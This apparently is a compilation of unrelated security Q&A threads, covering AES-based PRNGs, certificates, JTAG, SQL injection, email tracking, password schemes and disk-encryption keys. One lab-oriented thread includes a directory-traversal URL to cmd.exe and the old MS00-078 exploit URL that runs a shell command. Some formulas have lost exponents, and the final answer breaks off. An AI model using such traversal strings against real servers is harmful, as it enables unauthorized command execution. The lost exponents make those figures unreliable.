Would it be secure to generate random number using AES? I know that there are already tools out there to generate cryptographic random number, but I was wondering if using AES could do the same.

For example, I have a secret key for AES on my server and a counter in my database. Each time I want to generate a random number I increment the counter then encrypt it with AES using the secret key on my server then transform the resulting bits into the right number.

Wouldn't this produce secure random number as long as my secret key is not found?

N.B.: If you want to say that storing a password on your server is not safe, please explain how it is different than storing your private SSL key on your server.

Edit

Found some info on wikipedia

  A secure block cipher can be converted into a CSPRNG by running it in
  counter mode. This is done by choosing a random key and encrypting a
  0, then encrypting a 1, then encrypting a 2, etc. The counter can also
  be started at an arbitrary number other than zero. Obviously, the
  period will be 2n for an n-bit block cipher; equally obviously, the
  initial values (i.e., key and "plaintext") must not become known to an
  attacker, however good this CSPRNG construction might be. Otherwise,
  all security will be lost.

So, it was used before to construct CSPRNG.

What you are describing is a custom, AES-based PRNG. Encrypting successive values of a counter with AES and a secret key is a sound method for building a PRNG (indeed, it is equivalent to encrypting a long sequence of zeros with AES/CTR), provided that you take care of the following:

You have to use the block cipher "as is": encode the counter as a single 16-byte block, process it with AES (no "block cipher mode"), get the next 16 pseudorandom bytes. Increment the counter, and loop.
This won't be stronger than the encryption key is secret. Keep the key safe !
Of course this assumes that you already have a secret key, which implies that some other cryptographically secure PRNG was used at some point. A PRNG does not create randomness, it expands some initial randomness (the "seed", here the AES key) into a long stream of pseudorandom bytes.
This PRNG relies on your never reusing a counter value. So you have to make sure that the counter is always increased and cannot be forced to "rewind". This is not as easy as it seems, in particular in embedded devices, where read-write permanent storage is at a premium, and the user (who may be the attacker) can force hardware resets at any time (by removing the battery).
AES being a block cipher, it is a permutation of the space of block values. As such, it won't ever output twice the same 16-byte block, which deviates from what a true random source would produce. This may begin to show (statistically) after about 268 bytes, which is high enough not to be an issue. However, think twice before trying the same trick with a block cipher with smaller blocks (3DES, Blowfish...).

An improvement may be to regenerate a new AES key each time the server starts up, using /dev/urandom. That way, there is no key to store anywhere. Indeed, there is no need to reuse always the same key.

(Arguably, it is even simpler to use the strong PRNG which is already there, e.g. /dev/urandom. Switching to a custom PRNG like the one you envision is quite unwarranted; unless you need pseudorandom bytes at more than 10 megabytes per second, which may happen in some cases, but is weird. If you are in need of lots of pseudorandom bytes, you may want to consider using other more specialized algorithms like these stream ciphers.)


Grey vs Green padlock in address bar - technical difference What is a technical difference between "grey padlock" and "green padlock" in URL bar in browsers?

As an example we can take:

Green padlock: Bank of America
Grey padlock: Google Search

Both of them are signed by proper CAs.

So my questions are:

What is a technical difference?
How does it impact my browsingsecurity?
Are there some best practises what shouldn't be done on pages with "grey padlock"?

In Firefox, a grey padlock indicates that the site in question does not use an EV certificate. Sites using EV certificates shows up as a green padlock.

There is mostly no practical difference between the two types of certificates. Both are equally secure from a technical POV. For a more thorough answer about EV certificates, see What are the advantages of EV Certificate?


Does a working JTAG diagnostics port on Android phone add unnecessary risk? Not enough people seem to know about JTAG outside the hacker and LEO communities but the short version is that  JTAG allows anyone with physical access to your phone to chew their way right into it.

I can't understand why fundamentally disposable mass market consumer devices need a working test instrumentation port when they are released to the average consumer; In my opinion this is a significant security vulnerability across the entire Android ecosystem.

--- Added
This is not an issue of whether or not the device is secure - it is an issue of whether or not the presence of a functional JTAG interface significantly alters the cost/reward equation for lower value data for a less experienced attacker. Evaluating security risk involves evaluating the costs and risks of compromising a system - there is no system that is completely secure against anything, and a system that is secure against nothing is worth nothing (in this context) (e.g. your phone broadcasts its memory over open wireless all the time) - my concern is that a working JTAG port on a device with 'interesting' data on it is signficantly weaker than one without such a port and therefore the cost/reward equation is significantly changed

--- Added Citation
Editor’s note:
JTAG is a well-known standard mechanism for in-field test. Although it provides
high controllability and observability, it also poses great security challenges.

This article analyzes various attacks and proposes protection schemes.
Mohammad Tehranipoor, University of Connecticut - citation -

No.
There's something to be said for the fact that if you "own" a machine, then you own it. Physical possession of a piece of hardware with the ability to disassemble, modify, and otherwise physically hack the device very nearly guarantees that with enough work you will be able to get around security measure that might be present.
So, no, JTAG is no more troublesome than a USB port, or exposed RAM leads, or a desolderable flash chip.
EDIT

I can't understand why fundamentally disposable mass market consumer devices need a working test instrumentation port

JTAG is useful for more than just development testing. It's also used by repair technicians to fix phones that have firmware damage that makes software-based tools unusable. Including JTAG support in the production device lowers the maintenance/repair cost to the carriers who tend to be responsible for maintaining and fixing these devices on behalf of the customer. And lowering cost is always a worthwhile goal for the provider.


How to secure unprotected Telnet Server on Droid 3 I have a Droid 3 and for whatever reason it has a Telnet Server running on port 23. It requires no credentials and it has root permissions. It bothers me when I'm connected to wifi networks because my phone would be extremely easy to hack into. Here are the options I'm thinking about:

Disable the Telnet Server
Password protect the Telnet Server
Put up a firewall to make the port inaccessible

I'm not sure what is the best course of action in this case, I'm sure disabling the server is the safest but I'm not sure exactly sure how to do that. How can I protect my phone from being hacked into from this Telnet server?

I can't immediately test this, but it should be either of these:

/etc/init.d/telnetd stop
/etc/xinit.d/telnetd stop

You need to have a shell, there are terminal emulators for free in the playstore.


Something causing Sonicwall to throw Smurf Amplification Attack Warning? I set up a new laptop recently and, after installing various developer tools, it started causing our Sonicwall firewalls to issue an alert email whenever the laptop connected to the network. The message (with an artistically modified source IP) was:

"Alert - Intrusion Prevention -     Smurf Amplification attack dropped -    192.168.1.19, 8, X1 -   255.255.255.255, 8 "

It only happened when the NIC card was enabled and/or when the laptop started up.

We went through various attempts to run TCPView on the laptop, searching for port 8 traffic as well as monitoring the Sonicwall appliance for spurious traffic and couldn't narrow it down. We booted to the Microsoft Security Sweeper CD and ran scans, ran Malware Bytes, etc. trying to figure out if some malware had gotten on the system, but all came up clean.

One thing we noticed when running TCPView was that the system appeared to be listening on port 80. I initially dismissed it as I'd installed Visual Studio 2010 and figured IIS Express or the like was probably running. Last night, however, I right-clicked on a folder in Explorer and noticed an option to insert an XSP Web Server there. A quick Google search clued me in as to what XSP was and that it was part of the MonoDevelop IDE that was recently installed to explore Mono development.

This morning I uninstalled MonoDevelop and restarted the laptop and  - no warning email from the Sonicwall appliance came.

I wanted to get this info out there so that others that are suddenly battling with their IT department over a "potentially compromised system" can get a heads up on one possibility for the alerts. I'm also curious to know what XSP (or MonoDevelop?) is doing upon network initialization that incurs the Sonicwall's wrath.

Edit: Striking out the above. Apparently it wasn't XSP Server causing the issue as it is still happening when connecting to the network. Modified the title of the question to reflect this.

Have you verified that this is in fact a smurf attack? Are you receiving a lot of traffic?

Or is the IP address from the firewall actually your ip?

It would help to see a packet dump of the actual "attack". Someone has to be the victim here, and if it is you, you should see a flood of ICMP messages coming your way.

smurf.Powertech.no has a register of networks that has not been properly configured thus allowing the smurf attack. Quote from their site:

  The SAR lets you probe Internet connected IP networks to see whether or not they are
  configured in a way that will allow perpetrators to use them for smurf amplification.

I think you should definitely start a packet dump ASAP and see if you can figure out where the traffic is coming from. It might be hard as a smurf attack is in theory spoofed, but a packet dump could perhaps give us some vital pointers.

Tcpdump command that might work in your case:

tcpdump -w test.pcap udp port 8


Calculating Entropy using md5sum, sha256sum etc We can calculate the Entropy S of a string simply like this:

S = L * log_2(N)

Where L stands for used characters in the string

And N for every possible character

Example: We want to calculate the Entropy for a PIN with 4 digits.

Our N would be 10. Because we have 10 numbers (0-9).
Our L is 4 of course.

So we have a Entropy of about 13.28 Bit (or 3.32 Bit per character)

But how do we calculate the Entropy for let say an ’empty string’ by using e.g. md5sum, sha256sum

And most importantly: What is  and what is  here?

TL;DR: Your formula is too simple.

So the problem is why "" has an entropy if 0 with your formula, but MD5("") has not 0.

As said already in the comments, your formula only works if the data is perfectly random (uniform distribution, all bits independent, etc.).
Example for random case: Your PIN calculation with 4 digits between 0 and 9.
But if you have eg. some value that can either be 2222 or 7777 and nothing else, the entropy is just 1 bit. There are still 4 digits, but most 4-digit numbers are not possible, so your formula doesn't work anymore.

The same is true for your hash - hashing a 0-length string gives exactly one output, always the same. Not 256^16 possibilities that 16-byte hashes can have.

A better formula:

H(X) = sum (-p[i] * log2 p[i])

where p[i] is the probability of the i-th possible value (not digit etc., but value - your PIN has 9999 possible values, and each one has its own probability).

With this formula and the one single possible hash value, you get 0 too.

In general, a hash like this never can increase entropy. It may be the same or less than the one of the original value (less especially if the data is longer than the hash, ie. the hash has less possible values)


Separation of secure login steps I'm redesigning a login screen for a financial services application. Currently, this requests user ID and password, then (on the same screen) 2 digits from a 6-digit PIN are requested - these 2 digits are only revealed when the user ID and password have been entered.

Looking around at other financial services providers, asking for 2 PIN digits only once other security information has been entered is a fairly common pattern. Are there any significant benefits from this approach compared to asking for all the information on a single screen?

Looking around at other financial services providers, asking for 2 PIN digits only once other security information has been entered is a fairly common pattern. Are there any significant benefits from this approach compared to asking for all the information on a single screen?

I'm assuming that the other systems you've looked at only tell you whether any of your details are incorrect after the second step, and do not disclose which part of the credentials were incorrect, which is good.

Yes there are significant benefits, because then the index of the digits are only asked for when it is determined which username it is that is attempting to authenticate.

Say an attacker had somehow got some partial details of an account (e.g. by shoulder surfing). Let's say they know the 2nd and 3rd digits of the PIN.

If the page asked for all the details on one page (username, password and two digits from the PIN), the attacker could simply refresh the page, clearing cookies each time, until the PIN prompt was for the 2nd and 3rd digits of the PIN.

Using the two step approach, the digits asked for can be remembered by the system. e.g. for username "foo" we asked for the 1st and 4th numbers - we will not ask for any others until these have been entered correctly. The system would also have to remember the digits asked for for invalid usernames to prevent a username enumeration attack where different usernames can be tried twice to see if the same digits are requested. You might also want to artificially refresh these digits after a set number of days to simulate a successful login (otherwise an attacker would know that the account is invalid or dormant if it always asked for the same two digits on attempts days apart).

The other approach would be to ask for all the digits of the PIN on the same page, but banks don't like doing this because of shoulder surfing and also phishing sites can easily mimic these pages and capture all information in one go (although I'm not saying that the stepped approach would necessarily prevent these sort of attacks).


Is it ok to append the nonce/iv to the ciphertext when using AES GCM? I want to use AES GCM to encrypt data at rest. When retrieving the data, I want to make sure that the key is valid and the data has not been tempered with. Can I store the nonce/iv along with the ciphertext in the database?

Absolutely. There is no risk from appending the nounce/iv to encrypted text.


Serverless Apps Authenticate Users After Page Load - Flaw? Server-based apps check for a session cookie before returning any content to the user. If an authentication cookie isn't sent from the user's browser, the only content delivered to the user is a redirect/error message.

I'm new to server-less apps.  In the several Javascript S3/Cognito-based tutorials I saw (for example AWS' WildRydes), this authentication is client-based. It's triggered only after the entire page has loaded and then redirects to a login page.

Isn't that a fundamental flaw? what stops an unauthenticated user from viewing the page before the redirect?

The page itself will generally be HTML, javascript and CSS, which are all statically stored in an S3 bucket. Hence the user could figure out what features are available on the page without ever logging in by inspecting the contents of the files -- but they would not be able to execute that functionality, as each API endpoint would be protected to ensure only authorized users could perform actions.

So you might figure out that there is a POST message to be sent to /api/v1/order for making an order -- but you wouldn't be able to successfully make the order without an access token with the corresponding authority.

By downloading the entire javascript, all GUI elements get executed client side, and generally feel snappy -- however this doesn't reduce the security of the overall application.


Is Western Digital external HDD encryption still flawed? There were research and reports in 2015 explaining major flaws in Western Digital external HDD encryption. WD acknowledged those flaws. I have searched for more recent info about whether these flaws still exist, if there are firmware updates, etc. but haven't found much. My current WD Security application is dated 2015 so I'm concerned. Does anyone have any updates on this?

Should I even bother with that and simply use Veracrypt partitions on my drives?

Thanks!

To answer to your last question: definitely.

I would never put trust in a piece of crypto software of which you cannot determine how it works, as is the case with most of these closed firmware security functions within hard drives, or shipped utilities. Please research the Kerckhoff's Principle why this is so important.

Open sourced cryptography software is not an absolute guarantee of a proper cryptography implementation, however it makes it more easy to spot issues, and even more important, to correct them. Veracrypt (and its precursor Truecrypt) are well tested and audited, so can be trusted with your secrets.


Limiting database security A number of texts signify that the most important aspects offered by a DBMS are availability, integrity, and secrecy. As part of a homework assignment I have been tasked with mentioning attacks which would affect each aspect. This is what I have come up with - are they any good?

Availability - DDOS attack
Secrecy - SQL Injection attack
Integrity - Use of trojans to gain access to objects with higher security roles

These three properties are usually known as the CIA triad: confidentiality, integrity and availability. They are the three main classes of security properties of any system (though not all properties fit within those three classes).

Confidentiality (i.e. secrecy) means that an attacker cannot read data that she is not supposed to be able to access. An SQL injection attack is one way to break confidentiality, if the attacker is able to inject or modify a SELECT statement (for example). An SQL injection attack could also compromise integrity, if the attacker can inject an INSERT or an UPDATE or a DELETE or other statements that modify the database.

Integrity means that the attacker cannot write to the database in unauthorized ways. It covers the addition of extra entries, modification of existing entries, deletion of entries, and anything else that changes the data. Using a trojan could compromise the database, but accessing objects with higher security roles would only be a breach of integrity if you meant a write access: a read access would break confidentiality.

Availability means that the attacker cannot prevent others from using the database. A DDOS attack is indeed a way to break availability.

There are, of course, many other ways to break these properties.


It is possible to enumerate/discover IIS applications from outside? I wonder if it is possible that someone, from the Internet, could be able to discover services provided via IIS by knowing only the IP address.

If yes, how? And how can I protect my IIS from this kind of enumeration?

Regardless the web server software used, web applications typically have a path and a hostname.

If the web server is configured to serve an application using the default virtual host and the path to a common web application is the default, http://192.0.2.1/path/to/app type URLs alone could be used for enumeration.
If the application is only available on a single virtual host, the correct Host: example.com header is required. For this, one would need to know all the hostnames associated with the IP address, but there are search engines like F-Secure Riddler that have probably already indexed it.
Regular search engines may already have indexed the web application, especially if indexing is not limited with robots.txt, Robots meta tag or X-Robots-Tag header. E.g. Google search with site:example.com may find the application without enumerating directly against the web server at all!

If robots.txt was used for preventing indexing, it may contain useful information.
Bad robots might not obey any of these humble requests for not to index.

How to protect against this?

Try these techniques yourself and if you find something disturbing, try to change it. Notice that you have more power over your own system than over all the search engines. (This question was already tagged as penetration-testing.)
Do not think obscure URLs as protection! Depending on the purpose of the app you may add additional levels of authentication, allow connections only from trusted networks etc.


MITMproxy doesn't display HTTP/HTTPS traffic of Android Apps I am using mitmproxy to analyse the https traffic of some Android Apps. A few days ago I was able to intercept all the traffic without any problem and now mitmproxy doesn't seem to work properly.

Some of the apps recognise the fake certificate (I guess they use certificate pinning), for some I can only see one or two http GET requests (even for the apps that few days ago I was able to properly capture everything), and for some apps the proxy doesn't catch anything at all.

What could have possibly changed in few days? I am sure that I have configured the device correctly. I am also sure that the phone didn't update.

I would really appreciate your help.

Update: Here is the event log. This is from an app I used to be able to intercept the traffic from.

If you press e, you can view the event log. This should give you a better idea of what is happening. clientconnect means that mitmproxy registers a TCP connection. If this is not the case, traffic from your phone does not reach mitmproxy at all.

Otherwise, there might be erros during the TLS handshake. You should have a Client Handshake failed message in the event log then. Maybe you need to install the mitmproxy root certificate again by visiting http://mitm.it/? If you still encounter certificate errors in the event log after you have installed the certificate properly (check by opening https://example.com/ in your mobile browser), your app is most likely using certificate pinning.


What are the only possible cases for DB injection? After reading a bit on DB injections (injecting malicious query code written in SQL, NoSQL, or of any DB querying language), I understand that there are only 3 possible cases for this kind of attack:

When no Transform-To-Pure-Text mechanism is installed on the webserver: For example, you print an HTML form with PHP; This form has an input field and the data is loaded to the DB when the form is saved. The webserver owner installed an experimental server software that doesn't have a mechanism to transform the DB query into pure text and each time such will be given as input, it will be injected and bias the normal DB ecology.
When no Treat-As-Pure-Text mechanism is installed: This mechanism will cause the webserver to treat any form-input whatsoever (or at least any query-like input), as pure text.
When either of the mechanisms exist, but doesn't work because of a bug.

Are these are the only cases when a DB injection could occur?

It would suffice to say - as for both of your case no. 1 & case. 2 to be that of input sanitisation problem. Pre-liminary to that of input sanitisation, there's input validation - this could be white listed or black-listed. The black listed approach is not preferred.

Now let's narrow down to the answer, it's just not data conversion, parsing of data, transformation of data or just rendering of data from another source which's the point here; the other sources could be data manipulation where you confuse the logic of the data handler.

Some examples could be basic authentication bypasses, others still could be LDAP variants of injections. Possible causes of DB Injections in your case should be lack of input validation, lack of input sanitisation, lack of escape sequences, lack of string-concatenated SQL queries, also lack of access control through policies which accesses various tables.

This could happen from different perspectives to gain an escalation; Let's discuss about some:

Internal domain controlled SQL Databases - internally invoked which is due to lack of policy set-up.
Externally targeted web applications due to lack of input validation on top of input sanitisation.
At the handler tier of the DB-driver itself where-by an attacker confuses the db-handler to think it's the authenticated user & privileges are granted.

Some myths are:

Whitelisting will be hack-proof - it won't be as letting end-user supplied input be elevated to the same level as the command structure. Consequently, while whitelisting is part of any viable defense-in-depth approach to security, it's still not sufficient enough to protect against SQL injection on its own.

Stored Procedures will make it really hack-proof - while the proper use of stored procedures provides fantastic protection against SQL injection, there's nothing magical about stored procedures that prevents them from being used incorrectly or unsafely; developers make implementation mistakes.

Strict Input Validation, Escape Sequences & Input Sanitisation would suffice - combinations of encoding tricks, escape routines, homoglyphs, and uncommonly used Unicode and ASCII characters as a means of trying to compromise overly simplistic string-replacement routines defined by developers who don't think like hackers will fail, repeatedly.

Basically user input is the root problem set & hence command language is properly separated from data or user input & there you will be clearly be making a strict standard for SQL DB's to be safe.


Is decryption of past conversations a legitimate concern? Suppose sensitive information is sent over an insecure channel, but it is encrypted with a cipher such as AES. As of this writing AES is not broken and brute-forcing it would take more than millions of years (or at least very long). However, the encrypted data is eavesdropped on and stored.

Sometime in the future there will be computers that can brute-force AES or the AES-algorithm itself gets broken. Then this data of the past, that couldn't be decrypted without the key at the time, is now possible to decrypt.

In what scenarios/applications is this an actual concern?
Is it realistic that someone will store the encrypted data that long?

I imagine government communication over internet might be at risk for this kind of attack. Is there any policies regarding this?

I understand that if it takes too long until the data of the past can be decrypted, it might not be interesting anymore, i.e. the government communications. Is this the fact that is relied on regarding this concern?

(Note that AES is only used as an example. This question applies to all ciphers.)

Actually we might assume the government is already doing this. There have been numerous rumors of organizations collecting traffic on a mass scale, and storing this is datacenters for the next years. And yes it is a real concern. That is why AES (or any block cipher) alone is not good enough for communication over insecure channels.

Tunnels like TLS use many different techniques to make it harder to decode a stream of information. For example; some TLS suites allow for a Diffie Hellman Ephemeral key that changes ever so many bytes/minutes. The key is then regenerated and exchanged between the parties which they use to encrypt the information from that point on. Any listening party would need to break the individual keys together with the master key in order to derive the plaintext.

Update (reaction on comment)

There is a difference between the pre-master secret and the master secret. The pre-master secret is the key which was agreed upon by both parties. This could come from a DHE key exchange in case of a ephemeral capable cipher suite. The master secret is merely a (hash) function that derives a shared secret. After this the shared secret can be used for, say, symmetric encryption. The last component of that process can be repeated over and over.

Yes, ephemeral keys make things harder but certainly not impossible. It does not only require the adversary to decrypt the individual pieces, but to collect them all (in order) to start with, which poses it's own set of problems.

The fear exist that an organization or government will decrypt all the intercepted traffic retrospectively in 10 or 20 years from now when, as an example, quantum computers can efficiently implement Shor's for mainstream bit sizes such as 4096 and similar.


Execute cmd commands with http directory traversal attack Question Summary:

I am trying to create a lab scenario wherein the "attacker" is intended to perform a directory transversal attack from an HTML page and move into the Windows system directories. Can I inject commands into CMD on the victim using the web browser? Can this even be done?

Details:

The goal is to execute the system command prompt on the victim and inject commands using switches.

Example: cmd /c ping www.google.com (this post has bearing but I can't seem to get it working)
I'm not sure this is possible using the character set available in a URL string.

My current transversal string appears as such:

http://192.168.1.119/%5c../%5c../%5c../%5c../%5c/Windows/%5c/System32/%5c/cmd.exe
If I substitue in http://127.0.0.1/ above and then run it from the host/victim system, a prompt to run cmd appears in the browser.
Currently the html page is being run from a folder within "My Documents" though that will most likely be changed.

Target system is Windows 7, 8 or Server 2012. (Currently using 8 for testing)
Vulnerable web page is being run by simple web-server 1.2

This application is designed to be exploited by a transversal attack.

Here is a youtube video that shows an example of the attack being performed against a Windows XP machine running the vulnerable software above to access the boot.ini file.

I've spent a fair amount of time googling this to see if it can be done yet I can't find specific information regarding syntax to inject commands into cmd. It appears that if I were to host my site on a linux system then the attacker might be able to use bash commands to perform the attack, but I am not sure about Windows.

I'm quite new to all this! I've done IT / Sys Admin for a while, but not penetration testing. I'd like to keep this as simple as possible, but I'm learning as well! Help is greatly appreciated!

In MS00-078 it was possible to path traverse and run arbitrary command simply by issuing malformed GET request such

https://wahh-app.com/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

Web server backend parsed parameters after ? as command line arguments.


What is the correct way to assess and compare Certicom's products to the alternatives? I'm investigating Certicom's API because they are "free" with the Blackberry implementations, and have come to realize that I have several alternatives for implementing crypto such as BouncyCastle, and others.

I like the idea of using the same API across my product set, rather than to use Certicom for Blackberry, .NET for the server-side, and BouncyCastle in the Java clients.

What should I take into consideration when I access Certicom and their ECC technology?

What claims are real versus marketing FUD?  Since this is not my area of expertise, I think it will take me significantly more time to separate the wheat from the chaff.

Certicom holds patents on certain primitives/protocols related to elliptic curve cryptography (MQV for example), which you will not be able to use from a freely distributable library. I can't enumerate everything they hold or if they are significant (textbook MQV is generally no longer used).

I have also heard, somewhat ironically, that they have the fastest RSA implementation and some companies use their libraries just for it. That may be an urban legend though.

In general, if you are going to use elliptic curve cryptography (which I recommend as it is fast), the Certicom library will be excellent but not irreplaceable. And for specialized purposes, there are probably faster EC implementations: e.g., NIST P-224 in OpenSSL, RELIC, Curve25519, etc.

If your priority is unity across platforms and you aren't doing heavy crypto, then using a general library instead of the Certicom one should be fine.


How this tracking (and more) was done using an image in an email? As reported in the NY Times, there was some type of electronic spying in a high-profile military trial. Its claimed that the prosecutors were spying on the defense:

  The court-martial ... has been thrown into turmoil by, of all things, a
  harmless-looking image of a bald eagle perched on the scales of
  justice.

  The bit of digital artwork, embedded in an email message, contained
  hidden software that could track if anyone read or forwarded the
  email, and may have also been able to allow access to all
  communications and files on the recipients’ computers, defense lawyers
  argue in court filings.

I'm interested in what specifically happened here, if it is publicly known. I didn't think simply viewing an image in an email could be used to execute any kind of malware on a recipient's PC. Perhaps a vulnerability in a specific email client was taken advantage of?

Further quotes from the article:

  [the senders] acknowledged in a statement it used “an audit
  capability” in the course of its investigation into the leaks, but
  said, “It is not malware, not a virus, and does not reside on computer
  systems. There is no risk that systems are corrupted or compromised.”

  ...

  Defense lawyers grew suspicious when the bald-eagle image did not load
  correctly on some email accounts, and instead appeared as a hyperlink
  to a nonmilitary server.

A screenshot of one of the emails:

I could see how the embedded image could be used to identify which recipients viewed the email (or at least their IP perhaps) but no more than that.

It's very common practice even by legit companies to track open success rates by placing a image link in the body of an email. Then if your email browser like outlook is configured to auto-load images in emails then it makes an HTTP request out to a website to load the image. That request will have a unique id in the url specific to you ... so now that web server hosting the image knows that you opened your email.

That is all done basically without any real hidden code ... just standard HTML in the body of an email.

If there was "hidden code" then perhaps things like scripts hidden in an SVG image or perhaps it was a different attachment type like .html or .js


Would this idea for a password be secure? I was thinking about password security this morning. Mainly, about the recent adobe hack releasing thousands of passwords.

The current problem with existing passwords is that you have three options:

Use the same password on every sites
Use a few passwords for different sites (bank accounts, game websites/accounts, email, etc all get one
Get a program such as lastpass which must be installed to every computer you want to use to login to a website.

The former two are very insecure but are easy to remember. The latter is very secure, however inconvenient because you can't use it on, say, a public computer. This basically locks you out of any computer that you don't have install permissions on.

So I thought of this idea:

Start with a secure base, like fWi3$aLj that will be used on every website
Add the first three letters of the URL to the end of it, so that every website gets its own password
Add a 1 for .com, 2 for .net, 3 for .org and a 4 for anything else to the very end
For example this website's password (with the above secure base) would be fWi3$aLjsec1.

Pros:

Every website gets its own password (except in rare cases, but then the password will be applicable to very few other websites)
It's very secure password as you only have to worry about remembering one, so you can make it very complex (because you won't have to remember a new one for every website)
If a database is leaked or your password is found in any other way you only have to worry about changing the password to that website
You don't have to remember multiple passwords
Unless you tell someone, there's no way for anyone to figure out you're doing it
You don't need any special software or anything

So I was wondering if there are any downsides to doing this. I just came up with it today however I think I may go and change my passwords if there are now downsides.

One password is strong.  But where it would fail spectacularly is if the hacker cross referenced your user ID between two different hacked sites.

Site           UserID               Password
-------------  -------------------  ------------
Adobe          user34311@gmail.com  fWi3$aLjado1
Sony           user34311@gmail.com  fWi3$aLjson1

The similarities suggest a simple test.  Use google to find a user34311 somewhere on the web:

stackexchange  user34311@gmail.com  fWi3$aLjsta1

And the success leads to aiming for a payout:

Citibank       user34311@gmail.com  fWi3$aLjcit1
Chase          user34311@gmail.com  fWi3$aLjcha1
Wells Fargo    user34311@gmail.com  fWi3$aLjwel1


Is it possible to safely watch a specific folder with virus scan on Windows Server? I have a website that must allow numerous file types to be uploaded, some of which could possibly be dangerous, such as a word document. There's only a single website on this server that allows this.

I suppose my question is two-fold, which I'm finding myself LOST in arguments/debates back and forth in other threads:

Is there any type of virus or malicious file that can execute on its own without being manually executed? A customer uploads a word document that has a macro virus attached that they're completely unaware of. All customer uploads are stored in a single directory with subfolders based on their UserID. This file would never be executed "manually" from a server admin. It would be downloaded to an admin's personal computer through a web interface where they would do a VS prior to opening it.
Is it possible or would it be sufficient enough to use a Virus Scan that "watches" just this one folder and scans files immediately?

The execution part is what is really confusing me. In a live case scenario, an admin would click on the file, and the web-server would send the file to that admin's computer, where they can easily scan it for a virus before opening it.

So my question is more related to the server's protection itself.

I'm not sure how to narrow down my question better, but I hope it makes sense, and I appreciate any feedback.

Is there any type of virus or malicious file that can execute on its own
  without being manually executed?

As long as something is done with a file the content could trigger a bug (or backdoor)
in the processing software. This means "Yes", eg. the upload to the server could be
enough without you manually clicking on a file.

  Is it possible or would it be sufficient enough to use a Virus
  Scan that "watches"
  just this one folder and scans files immediately?

If it is possible depends on the AV software. But sufficient [to prevent any malicious
actions on the server] ?  Not at all. There is no AV software with 100% percent
correct recognition.

...the only "sufficient" security against malware is to turn the server off and melt it.


Can we reverse engineer binlog with row format to make MySQL AES_ENCRYPT visible? Suppose if I am using the mysql database based encryption using AES_ENCRYPT function & insert records, is it possible to decode the row formatted binlogs generated by MySQL to obtain the actual statements consisting of AES_ENCRYPT?

There is a description of what MySQL does here. It takes the key almost as is and applies AES in ECB mode, which is weak since it leaks which blocks are identical to each other in data encrypted with a given key. You should not assume that data which was encrypted with MySQL's AES_ENCRYPT() is really "secure".

That being said, whether your key and data will make it to the binary log depends on how it was configured. If using statement-based formatting, then the binary log will contain the SQL statements which were issued (at least those which entail modifications), and your data and key may be revealed that way. If you use row-based formatting, then the log contains the results (alterations to actual rows), and your cleartext data and key won't appear in the log. See this question for pointers.


CVE-2019-0903 detected by just one anti-virus service On my Windows 8.1 computer I created an MS Word document containing a couple images I downloaded from the internet, and exported it as PDF. The MS Word version is 14.0.7232.5000, 64 bit. I sent that PDF to a number of recipients by email.

One email bounced with the line

  MTP error from remote server for TEXT command, host: mailin.snafu.de (84.23.254.51) reason: 550 This message contains malware (Win.Exploit.CVE_2019_0903-6966169-0)

None of the other mails containing the same attachment bounced. When I scanned the attachment with virustotal.com just one of the 58 engines reported a detection, ClamAV. The detection was labeled exactly "Win.Exploit.CVE_2019_0903-6966169-0" (which may indicate that the provider uses ClamAV). On the details page one property of the file was marked as suspicious, "Contains at least one embedded file".

CVE-2019-0903 is a buffer overflow in the Windows GDI.

Question: Is this a false positive? If not, why do other engines not detect it, even though it has been public since May 15 and the CVE entry is from November 2018?

It seems like a false-positive; from marc.info clamav:

  Our system updated today:

May 25 09:24:20 daily.cld updated (version: 25460, sigs: 1581004, f-level:
63, builder: raynman)

  (Time is BST - i.e. UTC+1)

  After that we saw a large number of viruses found - all detected as
  Win.Exploit.CVE_2019_0903-6966169-0

  This seems to be including mails without any attachments.


How to prevent XSS in user-generated content (html) without disabling scripts and CSS Is there a way to somehow sandbox user-generated content?
I'm working on webapp which will contain a lot of user-generated content. Only "trusted" users will be able to publish the content, but I want to make sure nothing will go wrong if someone compromises their account. They will be able to upload all kinds of files (except binary executables), all of them will be served directly (e.g. PHP file won't be executed).

Considering the worst-case scenario - someone compromises user's account and uploads malicious HTML file with script, which is e.g. stealing cookies or doing AJAX calls, what's the best way to handle this?

Is it sufficient to move the content to subdomain, like https://usercontent.webappdomain.com

Are there any better ways of preventing these issues?

Commonly a fully separate domain is used to serve this kind of content so that the same origin policy of the browser kicks in and prevents interaction with the primary domain where the sensitive content is. Don't just use another subdomain because cookie policy is less strict than same origin policy and might allow reading or writing of cookies between subdomains or the main domain.


How long does the system encryption key stay in RAM The thread title says it, i would like to know how long a system encryption key will stay in RAM or CPU and will be therefore be extractable using boot attacks.
I read somewhere that encryption in case of Linux and LUKS is handled by virtual memory which is handled by the CPU afaik...

I don't really know how disk encryption or system encryption works, when i enter the password during boot process will my system be completely decrypted until i shut the computer down, or is it still in an encrypted state and will the system consistently need the key to work on documents?
In the last case it would be logical that the key is often in use of RAM or CPU and will be therefore extractable.

The background behind the question is, that i would like to have a little surveillance system on my PC that will resist boot attacks and DMA attacks.
I'd like to record the pictures offline because as we all know an internet connection can suddenly break down.

I am thinking a netbook without pci slots which would make DMA attacks impossible and patching the linux kernel to let CPU handle encrytion plus a sdmem script that overwrites possible remnants of the screenlocker password out of RAM  - would this suffice?

Disk encryption is about keeping data on disk encrypted at all times; writing back the decrypted files onto the disk would incur the risk of leaking that data (if the machine is stolen at that point) and would require re-encrypting it upon shutdown. Note that a typical mechanical hard disk reads and writes data at about 120 MB/s, so a mere 128 GB hard disk would take more than 15 minutes to be decrypted entirely, even assuming that the decryption process is faster than that and that the disk is the bottleneck. You certainly don't wait for 15 minutes when you boot your machine up.

All this implies that decryption occurs on-the-fly, when files are read. A consequence is that decryption occurs as long as the machine is up and running, so the decryption key MUST be somewhere in RAM, and stay there.

Similarly, if you modify some files and want to save them (so as to get the new files back after the next reboot), then the encryption key must necessarily be used.

However, there are (at least) two methods by which you could envision not to keep the key in RAM:

You could read and decrypt a complete filesystem into a RAM-based disk. There, decryption could be done once and then the key discarded. Of course, this limits the total filesystem size to what can fit in RAM, e.g. 1 or 2 gigabytes. Moreover, all writes will be discarded (conceptually, one could use asymmetric encryption to save modifications, to be incorporated into the encrypted filesystem upon next boot, but that's likely to be a significant design and development effort).
